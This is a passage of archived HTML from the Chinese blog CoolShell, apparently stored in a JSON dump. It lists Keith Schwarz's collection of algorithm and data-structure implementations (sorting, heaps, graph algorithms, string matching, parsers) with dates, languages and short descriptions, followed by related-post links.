algorithm</a>, an adaptive heapsort variant.</td>\n</tr>\n<tr>\n<td>Extendible Array</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=extendible-array\">(link)</a></td>\n<td>10‑28‑2010</td>\n<td>Java</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Dynamic_array\">dynamic array</a> class with O(1) worst-case runtime lookup and append.</td>\n</tr>\n<tr>\n<td>In-Place Merge</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=inplace-merge\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Merge_algorithm\">merge algorithm</a> that runs <a href=\"http://en.wikipedia.org/wiki/In-place_algorithm\">in-place</a>.</td>\n</tr>\n<tr>\n<td>Random Shuffle</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-shuffle\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An algorithm for generating a <a href=\"http://en.wikipedia.org/wiki/Random_permutation\">random permutation</a> of a set of elements.</td>\n</tr>\n<tr>\n<td>Random Sample</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-sample\">(link)</a></td>\n<td>10‑29‑2010</td>\n<td>C++</td>\n<td>An O(n) time, O(1) space algorithm for randomly choosing k elements out of a stream with uniform probability.</td>\n</tr>\n<tr>\n<td>Natural Mergesort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=natural-mergesort\">(link)</a></td>\n<td>10‑30‑2010</td>\n<td>C++</td>\n<td>An implementation of <a href=\"http://www.algorithmist.com/index.php/Merge_sort#Natural_mergesort\">natural mergesort</a>, an <a href=\"http://en.wikipedia.org/wiki/Adaptive_sort\">adaptive</a> variant of <a href=\"http://en.wikipedia.org/wiki/Merge_sort\">mergesort</a>.</td>\n</tr>\n<tr>\n<td>Interpolation Search</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=interpolation-search\">(link)</a></td>\n<td>10‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Interpolation_search\">interpolation search</a> algorithm.</td>\n</tr>\n<tr>\n<td>Introsort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=introsort\">(link)</a></td>\n<td>10‑31‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Introsort\">introsort</a> algorithm, a fast hybrid of <a href=\"http://en.wikipedia.org/wiki/Quicksort\">quicksort</a>, <a href=\"http://en.wikipedia.org/wiki/Heapsort\">heapsort</a>, and<a href=\"http://en.wikipedia.org/wiki/Insertion_sort\">insertion sort</a>.</td>\n</tr>\n<tr>\n<td>Hashed Array Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=hashed-array-tree\">(link)</a></td>\n<td>11‑3‑2010</td>\n<td>Java</td>\n<td>An implementation of a dynamic array backed by a <a href=\"http://en.wikipedia.org/wiki/Hashed_array_tree\">hashed array tree</a>.</td>\n</tr>\n<tr>\n<td>Recurrence Solver</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=recurrence\">(link)</a></td>\n<td>11‑13‑2010</td>\n<td>C++</td>\n<td>A fast algorithm for generating terms of a sequence defined by a <a href=\"http://en.wikipedia.org/wiki/Recurrence_relation#Linear_homogeneous_recurrence_relations_with_constant_coefficients\">linear recurrence relation</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-heap\">(link)</a></td>\n<td>11‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of a priority queue backed by a <a href=\"http://en.wikipedia.org/wiki/Fibonacci_heap\">Fibonacci heap</a>.</td>\n</tr>\n<tr>\n<td>Dijkstra’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=dijkstra\">(link)</a></td>\n<td>11‑16‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Dijkstra's_algorithm\">Dijkstra’s algorithm</a> for single-source shortest paths.</td>\n</tr>\n<tr>\n<td>Prim’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=prim\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Prim's_algorithm\">Prim’s algorithm</a> for computing <a href=\"http://en.wikipedia.org/wiki/Minimum_spanning_tree\">minimum spanning trees</a>.</td>\n</tr>\n<tr>\n<td>Kruskal’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kruskal\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Kruskal's_algorithm\">Kruskal’s algorithm</a> for computing <a href=\"http://en.wikipedia.org/wiki/Minimum_spanning_tree\">minimum spanning trees</a>.</td>\n</tr>\n<tr>\n<td>Majority Element</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=majority-element\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>C++</td>\n<td>A fast, linear-time algorithm for finding the <a href=\"http://www.cs.utexas.edu/~moore/best-ideas/mjrty/\">majority element</a> of a data set.</td>\n</tr>\n<tr>\n<td>Haar Transform</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=haar\">(link)</a></td>\n<td>11‑17‑2010</td>\n<td>C++</td>\n<td>A set of functions to decompose a sequence of values into a sum of <a href=\"http://en.wikipedia.org/wiki/Haar_wavelet\">Haar wavelets</a>.</td>\n</tr>\n<tr>\n<td>Argmax</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=argmax\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>A pair of functions to compute the <a href=\"http://en.wikipedia.org/wiki/Arg_max\">arg min or max</a> of a function on some range.</td>\n</tr>\n<tr>\n<td>Derivative</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=derivative\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Function_object\">function object</a> that approximates the <a href=\"http://en.wikipedia.org/wiki/Derivative\">derivative</a> of a function.</td>\n</tr>\n<tr>\n<td>Levenshtein Distance</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=levenshtein\">(link)</a></td>\n<td>11‑19‑2010</td>\n<td>C++</td>\n<td>An algorithm for computing the <a href=\"http://en.wikipedia.org/wiki/Levenshtein_distance\">Levenshtein distance</a> between two sequences.</td>\n</tr>\n<tr>\n<td>Skiplist</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=skiplist\">(link)</a></td>\n<td>11‑20‑2010</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Skip_list\">skip list</a>, a randomized data structure for maintaining a sorted collection.</td>\n</tr>\n<tr>\n<td>van Emde Boas Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=van-emde-boas-tree\">(link)</a></td>\n<td>11‑26‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Van_Emde_Boas_tree\">van Emde Boas tree</a>.</td>\n</tr>\n<tr>\n<td>Cuckoo HashMap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=cuckoo-hashmap\">(link)</a></td>\n<td>11‑27‑2010</td>\n<td>Java</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Hash_table\">hash table</a> using <a href=\"http://en.wikipedia.org/wiki/Cuckoo_hashing\">cuckoo hashing</a>.</td>\n</tr>\n<tr>\n<td>Needleman-Wunsch Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=needleman-wunsch\">(link)</a></td>\n<td>11‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Needleman%E2%80%93Wunsch_algorithm\">Needleman-Wunsch</a> algorithm for optimal string alignment.</td>\n</tr>\n<tr>\n<td>Treap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=treap\">(link)</a></td>\n<td>11‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Treap\">treap</a>.</td>\n</tr>\n<tr>\n<td>Floyd-Warshall Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=floyd-warshall\">(link)</a></td>\n<td>12‑10‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Floyd-Warshall_algorithm\">Floyd-Warshall algorithm</a> for all-pairs shortest paths in a graph.</td>\n</tr>\n<tr>\n<td>Power Iteration</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=power-iteration\">(link)</a></td>\n<td>12‑10‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Power_iteration\">power iteration</a> algorithm for finding dominant eigenvectors.</td>\n</tr>\n<tr>\n<td>Edmonds’s Matching Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=edmonds-matching\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Edmonds's_matching_algorithm\">Edmonds’s matching algorithm</a> for finding <a href=\"http://en.wikipedia.org/wiki/Matching_(graph_theory)#Maximum_matchings\">maximum matchings</a> in undirected graphs.</td>\n</tr>\n<tr>\n<td>Kosaraju’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kosaraju\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Kosaraju's_algorithm\">Kosaraju’s algorithm</a> algorithm for finding <a href=\"http://en.wikipedia.org/wiki/Strongly_connected_component\">strongly connected components</a> of a directed graph.</td>\n</tr>\n<tr>\n<td>2-SAT</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=2sat\">(link)</a></td>\n<td>12‑15‑2010</td>\n<td>Java</td>\n<td>A linear-time algorithm for solving <a href=\"http://en.wikipedia.org/wiki/2-satisfiability\">2-SAT</a>.</td>\n</tr>\n<tr>\n<td>Bellman-Ford Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bellman-ford\">(link)</a></td>\n<td>12‑17‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Bellman%E2%80%93Ford_algorithm\">Bellman-Ford</a> algorithm for single-source shortest paths.</td>\n</tr>\n<tr>\n<td>Topological Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=topological-sort\">(link)</a></td>\n<td>12‑17‑2010</td>\n<td>Java</td>\n<td>An algorithm for computing a <a href=\"http://en.wikipedia.org/wiki/Topological_sorting\">topological sort</a> of a directed acyclic graph.</td>\n</tr>\n<tr>\n<td>Graham Scan</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=graham-scan\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Graham_scan\">Graham scan</a> for finding convex hulls in 2D space.</td>\n</tr>\n<tr>\n<td>Bipartite Testing</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=bipartite-verify\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>Java</td>\n<td>A linear-time algorithm for checking whether a directed graph is <a href=\"http://en.wikipedia.org/wiki/Bipartite_graph\">bipartite</a>.</td>\n</tr>\n<tr>\n<td>Johnson’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=johnson\">(link)</a></td>\n<td>12‑19‑2010</td>\n<td>Java</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Johnson's_algorithm\">Johnson’s algorithm</a> for all-pairs shortest paths.</td>\n</tr>\n<tr>\n<td>Strassen Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=strassen\">(link)</a></td>\n<td>12‑20‑2010</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Strassen_algorithm\">Strassen algorithm</a> for fast matrix multiplication.</td>\n</tr>\n<tr>\n<td>Cartesian Tree Sort</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=cartesian-tree-sort\">(link)</a></td>\n<td>12‑21‑2010</td>\n<td>C++</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Cartesian_tree#Application_in_sorting\">Cartesian tree sort</a>, an adaptive, out-of-place heapsort variant.</td>\n</tr>\n<tr>\n<td>Ford-Fulkerson Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson\">(link)</a></td>\n<td>12‑21‑2010</td>\n<td>Java</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm\">Ford-Fulkerson</a> maximum-flow algorithm.</td>\n</tr>\n<tr>\n<td>Scaling Ford-Fulkerson</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ford-fulkerson-scaling\">(link)</a></td>\n<td>12‑22‑2010</td>\n<td>Java</td>\n<td>An modification of the <a href=\"http://en.wikipedia.org/wiki/Ford%E2%80%93Fulkerson_algorithm\">Ford-Fulkerson</a> maximum-flow algorithm that uses scaling to achieve polynomial time..</td>\n</tr>\n<tr>\n<td>Splay Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=splay-tree\">(link)</a></td>\n<td>12‑27‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted associative array backed by a <a href=\"http://en.wikipedia.org/wiki/Splay_tree\">splay tree</a>.</td>\n</tr>\n<tr>\n<td>Ternary Search Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ternary-search-tree\">(link)</a></td>\n<td>12‑28‑2010</td>\n<td>C++</td>\n<td>An implementation of a sorted set of strings backed by a <a href=\"http://en.wikipedia.org/wiki/Ternary_search_tree\">ternary search tree</a>.</td>\n</tr>\n<tr>\n<td>Ring Buffer</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ring-buffer\">(link)</a></td>\n<td>12‑30‑2010</td>\n<td>Java</td>\n<td>An implementation of a FIFO queue using a <a href=\"http://en.wikipedia.org/wiki/Circular_buffer\">ring buffer</a>.</td>\n</tr>\n<tr>\n<td>AVL Tree</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=avl-tree\">(link)</a></td>\n<td>12‑30‑2010</td>\n<td>C++</td>\n<td>A sorted associative container backed by an <a href=\"http://en.wikipedia.org/wiki/AVL_tree\">AVL tree</a>.</td>\n</tr>\n<tr>\n<td>Rabin-Karp Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rabin-karp\">(link)</a></td>\n<td>1‑1‑2011</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Rabin%E2%80%93Karp_string_search_algorithm\">Rabin-Karp algorithm</a> for string matching.</td>\n</tr>\n<tr>\n<td>RPN Evaluator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=rpn-evaluate\">(link)</a></td>\n<td>1‑18‑2011</td>\n<td>C++ / strain</td>\n<td>A library to tokenize and evaluate simple arithmetic expressions in <a href=\"http://en.wikipedia.org/wiki/Reverse_Polish_notation\">reverse Polish notation</a>.</td>\n</tr>\n<tr>\n<td>Shunting-Yard Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=shunting-yard\">(link)</a></td>\n<td>1‑18‑2011</td>\n<td>C++ / strain</td>\n<td>An implementation of Dijkstra’s <a href=\"http://en.wikipedia.org/wiki/Shunting-yard_algorithm\">shunting-yard algorithm</a> for converting infix expressions to reverse-Polish notation.</td>\n</tr>\n<tr>\n<td>Skew Binomial Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=skew-binomial-heap\">(link)</a></td>\n<td>1‑20‑2011</td>\n<td>C++</td>\n<td>An implementation of a priority queue backed by a <a href=\"http://en.wikipedia.org/wiki/Skew_binomial_heap\">skew binomial heap</a>.</td>\n</tr>\n<tr>\n<td>2/3 Heap</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=two-three-heap\">(link)</a></td>\n<td>3‑1‑2011</td>\n<td>C++</td>\n<td>An implementation of a priority queue whose branching factor alternates at different levels to maximize performance.</td>\n</tr>\n<tr>\n<td>Zeckendorf Logarithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=zeckendorf-logarithm\">(link)</a></td>\n<td>3‑10‑2011</td>\n<td>C++</td>\n<td>An algorithm based on <a href=\"http://en.wikipedia.org/wiki/Zeckendorf's_theorem\">Zeckendorf representations</a> that efficiently computes logarithms.</td>\n</tr>\n<tr>\n<td>Factoradic Permutations</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=factoradic-permutation\">(link)</a></td>\n<td>3‑17‑2011</td>\n<td>C++</td>\n<td>A set of algorithms for generating <a href=\"http://en.wikipedia.org/wiki/Permutation\">permutations</a> using the <a href=\"http://en.wikipedia.org/wiki/Factorial_number_system\">factoradic number system</a>.</td>\n</tr>\n<tr>\n<td>Binary Cyclic Subsets</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binary-subset\">(link)</a></td>\n<td>3‑20‑2011</td>\n<td>C++</td>\n<td>A set of algorithms for generating <a href=\"http://en.wikipedia.org/wiki/Subset\">subsets</a> in <a href=\"http://en.wikipedia.org/wiki/Lexicographical_order\">lexicographical order</a> using <a href=\"http://www.keithschwarz.com/binary-subsets\">binary numbers and cyclic shifts</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Iterator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-iterator\">(link)</a></td>\n<td>3‑22‑2011</td>\n<td>C++</td>\n<td>An STL-style iterator for iterating over the <a href=\"http://en.wikipedia.org/wiki/Fibonacci_number\">Fibonacci numbers</a>.</td>\n</tr>\n<tr>\n<td>Fibonacci Search</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=fibonacci-search\">(link)</a></td>\n<td>3‑22‑2011</td>\n<td>C++</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Fibonacci_search_technique\">Fibonacci search</a> algorithm.</td>\n</tr>\n<tr>\n<td>Euclid’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=euclid\">(link)</a></td>\n<td>4‑18‑2011</td>\n<td>Haskell</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Euclidean_algorithm\">Euclid’s algorithm</a> and applications to <a href=\"http://en.wikipedia.org/wiki/Continued_fraction\">continued fractions</a> and <a href=\"http://en.wikipedia.org/wiki/Extended_Euclidean_algorithm\">the extended Euclidean algorithm</a>.</td>\n</tr>\n<tr>\n<td>Find Duplicate</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=find-duplicate\">(link)</a></td>\n<td>4‑18‑2011</td>\n<td>Python</td>\n<td>An algorithm to find a repeated element in an array using <a href=\"http://en.wikipedia.org/wiki/Cycle_detection#Tortoise_and_hare\">Floyd’s cycle-finding algorithm</a>.</td>\n</tr>\n<tr>\n<td>Permutation Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=permutation-generator\">(link)</a></td>\n<td>4‑19‑2011</td>\n<td>Python</td>\n<td>A <a href=\"http://en.wikipedia.org/wiki/Generator_(computer_programming)\">generator</a> for producing all <a href=\"http://en.wikipedia.org/wiki/Permutation\">permutations</a> of a list of elements.</td>\n</tr>\n<tr>\n<td>Matrix Find</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=matrix-find\">(link)</a></td>\n<td>4‑19‑2011</td>\n<td>Python</td>\n<td>A solution to the classic interview question of searching a sorted matrix for a particular value.</td>\n</tr>\n<tr>\n<td>Binary GCD</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=binary-gcd\">(link)</a></td>\n<td>4‑23‑2011</td>\n<td>Scheme</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Binary_GCD_algorithm\">binary GCD algorithm</a> for computing greatest common divisors of nonnegative integers.</td>\n</tr>\n<tr>\n<td>Knuth-Morris-Pratt Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=knuth-morris-pratt\">(link)</a></td>\n<td>5‑3‑2011</td>\n<td>Python</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Knuth%E2%80%93Morris%E2%80%93Pratt_algorithm\">Knuth-Morris-Pratt algorithm</a> for fast string matching.</td>\n</tr>\n<tr>\n<td>Kadane’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=kadane\">(link)</a></td>\n<td>5‑7‑2011</td>\n<td>C++</td>\n<td>An implementation of Kadane’s algorithm for solving the <a href=\"http://en.wikipedia.org/wiki/Maximum_subarray_problem\">maximum-weight subarray problem</a>.</td>\n</tr>\n<tr>\n<td>Karatsuba’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=karatsuba\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>Python</td>\n<td>An implementation of <a href=\"http://en.wikipedia.org/wiki/Karatsuba_algorithm\">Karatsuba’s algorithm</a> for fast integer multiplication.</td>\n</tr>\n<tr>\n<td>Min-Stack</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=min-stack\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Stack_(data_structure)\">LIFO stack</a> that supports O(1) push, pop, and find-minimum.</td>\n</tr>\n<tr>\n<td>Random Bag</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=random-bag\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>Python</td>\n<td>A data structure that supports insertion and removal of a uniformly-random element.</td>\n</tr>\n<tr>\n<td>Min-Queue</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=min-queue\">(link)</a></td>\n<td>8‑15‑2011</td>\n<td>C++</td>\n<td>An implementation of a <a href=\"http://en.wikipedia.org/wiki/Queue_(data_structure)\">FIFO queue</a> that supports O(1) push, pop, and find-minimum.</td>\n</tr>\n<tr>\n<td>Lights-Out Solver</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=lights-out\">(link)</a></td>\n<td>8‑29‑2011</td>\n<td>C++</td>\n<td>A solver for the game <a href=\"http://en.wikipedia.org/wiki/Lights_Out_(game)\">Lights Out</a> using <a href=\"http://en.wikipedia.org/wiki/Gaussian_elimination\">Gaussian elimination</a> over <a href=\"http://en.wikipedia.org/wiki/GF(2)\">GF(2)</a>.</td>\n</tr>\n<tr>\n<td>Maximum Single-Sell Profit</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=single-sell-profit\">(link)</a></td>\n<td>11‑9‑2011</td>\n<td>Python</td>\n<td>Four algorithms for the <a href=\"http://stackoverflow.com/q/7086464/501557\">maximum single-sell profit problem</a>, each showing off a different algorithmic technique.</td>\n</tr>\n<tr>\n<td>Generalized Kadane’s Algorithm</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=generalized-kadane\">(link)</a></td>\n<td>11‑10‑2011</td>\n<td>C++</td>\n<td>A generalization of <a href=\"http://en.wikipedia.org/wiki/Maximum_subarray_problem\">Kadane’s algorithm</a> for solving the maximum subarray problem subject to a <a href=\"http://stackoverflow.com/q/7861387/501557\">length restriction</a>.</td>\n</tr>\n<tr>\n<td>Longest Range</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=longest-range\">(link)</a></td>\n<td>11‑19‑2011</td>\n<td>Java</td>\n<td>An algorithm for solving the <a href=\"http://stackoverflow.com/q/5415305/501557\">longest contiguous range</a> problem.</td>\n</tr>\n<tr>\n<td>Egyptian Fractions</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=egyptian-fraction\">(link)</a></td>\n<td>11‑20‑2011</td>\n<td>Python</td>\n<td>An implementation of the <a href=\"http://en.wikipedia.org/wiki/Greedy_algorithm_for_Egyptian_fractions\">greedy algorithm</a> for finding <a href=\"http://en.wikipedia.org/wiki/Egyptian_fraction\">Egyptian fractions</a>.</td>\n</tr>\n<tr>\n<td>LL(1) Parser Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=ll1\">(link)</a></td>\n<td>11‑21‑2011</td>\n<td>Java</td>\n<td>An <a href=\"http://en.wikipedia.org/wiki/LL_parser\">LL(1) parser generator</a>.</td>\n</tr>\n<tr>\n<td>LR(0) Parser Generator</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=lr0\">(link)</a></td>\n<td>11‑23‑2011</td>\n<td>Java</td>\n<td>An <a href=\"http://en.wikipedia.org/wiki/LR_parser\">LR(0) parser generator</a>.</td>\n</tr>\n<tr>\n<td>Word Ladders</td>\n<td><a href=\"http://www.keithschwarz.com/interesting/code/?dir=word-ladder\">(link)</a></td>\n<td>11‑27‑2011</td>\n<td>JavaScript</td>\n<td>A program for finding <a href=\"http://en.wikipedia.org/wiki/Word_ladder\">word ladders</a> between two words.</td>\n</tr>\n</tbody>\n</table>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4220.html\"><img alt=\"一些有意思的文章和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4220.html\">一些有意思的文章和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8239.html\"><img alt=\"无锁队列的实现\" height=\"150\" src=\"../wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8239.html\">无锁队列的实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-11-3 SteveY对Amazon和Google平台的吐槽.html",
